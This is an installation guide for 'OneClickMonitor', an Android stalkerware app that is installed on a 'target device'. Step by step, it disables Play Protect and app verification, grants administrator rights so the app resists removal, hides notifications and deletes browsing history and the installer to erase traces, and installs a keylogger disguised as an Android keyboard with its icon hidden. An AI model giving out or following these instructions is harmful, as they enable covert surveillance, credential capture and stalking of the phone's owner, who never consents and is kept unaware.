Installation Guide for Android

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Please Note: The app needs to be downloaded and installed on the target device.

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Installation Guide

If you prefer text instructions, please follow steps 1 to 7 for the application to work properly:

  • Android OS >= 4.1
  • Data plan of at least 1GB recommended.
Before Installation
Note: in order to install the application, you must enable unknown sources on your phone if it is not already.
  • 2.1) Enable unknown sources (Only Android below 7.1)
Open "Settings"
Tap on "Security"
Check the box "Unknown sources". Accept the warning by clicking "OK"
  • 2.2) Disable Package Verifier
Open "Play Store"
Tap on "Play Protect"
Uncheck "Scan Device For Security Threats"
Download OneClickMonitor
Go to on the target phone to download the app.
A warning may appear because the application does not come from the play store. Click "OK" to download it.
Run the application and follow the steps. The app is called "OCM".
If you have this message it means that you haven't disabled the verification of applications. (See step 2.2 or click "Install Anyway (risky)".
Configure the application
Tap on "Continue".
Read and tap on “Accept” if you agree to the EULA.
Follow the on-screen instructions. We recommend activating all the options to get all the features.
OneClickMonitor will prompt to activate “Administrator rights”. Selecting it will allow features like Lock Device Screen, Set Lock-Screen Password, Disable Camera to function. It will also protect against uninstallation.
When this pop-up comes up, tap on 'Don't show again' and then on 'START NOW'
Log In to Account
Tap on “Log In”.
Enter your Device Name, Email and
Password and tap on 'Log in'
You will get a success message if
everything was ok.
Cleaning Device History
Delete browsing history
Delete the installation file (.apk)
Delete the notification
(rooted phones only)
Email Verification (new user)
Go to your email and click on the link we sent you to verify your account. Don't forget to check on the spam/junk/trash inbox.
Post Installation Steps
Disable Notifications (Rooted phone)

7.1.1 How to disable permission related notifications in Rooted phone?
  • Facebook and Viber
  • Open "SuperSU" application.
  • Click on "OCM".
  • Disable Notification for "OCM" application.
7.2 Make Application Trusted
       5.2.1 OPPO
  • Open "Settings" ==> "Security Settings".
  • Click on "Data Saving".
  • Click on "Add apps that run in background" and select "OCM".
      7.2.2 VIVO
  • Open autostart application and enable "OCM".
  • Open IManager application and enable "OCM".
      7.2.3 HUAWEI
  • Phone Manager ==> Power saving ==> Protected apps.
  • Make sure "OCM" is protected.
      7.2.4 REDMI
  • Open Application "Security" -> Go to Permission -> AutoStart -> Enable "OCM".
  • Go to Settings -> Additional Settings -> Privacy -> Disable "Verify apps".
      7.2.5 INFINIX
  • Open Application "XOS family" ==> X Manager ==> Auto-Start Manager ==> Enable WiFi Service Or OCM.
  • Make sure "OCM" is protected..
How to Uninstall OneClickMonitor?
Open "Settings" and then tap on "Security"
Tap on "Phone Administrators"
Uncheck "OCM"
A Popup will appear, click on "Deactivate". A confirmation alert will show, tap on "OK"
Go back to "Settings" and then tap on "Applications"
Tap on "Application Manager" and then look for "OCM" and uninstall it.

Keylogger Installation Guide

Download Keylogger

Please follow the steps below for the keylogger to work properly.

Click on the "Download Keylogger" button above to download OneClickMonitor's keyboard.
Open the .apk file once the download is finished.
Click on Install.
After successful installation click on Open.
Click on Get Started.
Click on Enable in Settings.
Enable "Teclado Android(B.E) or Android Keyboard (AOSP)".
Click on Switch input methods.
Select "Teclado B.E" or "Android Keyboard (AOSP)" from the list.
Click on Finish.

Hiding The Keyboard From The App Drawer

Please follow the steps below to hide the keylogger.

Open 'Teclado Android(B.E)' or 'Android Keyboard (AOSP)'.
Click Advanced
Disable "Show App Icon".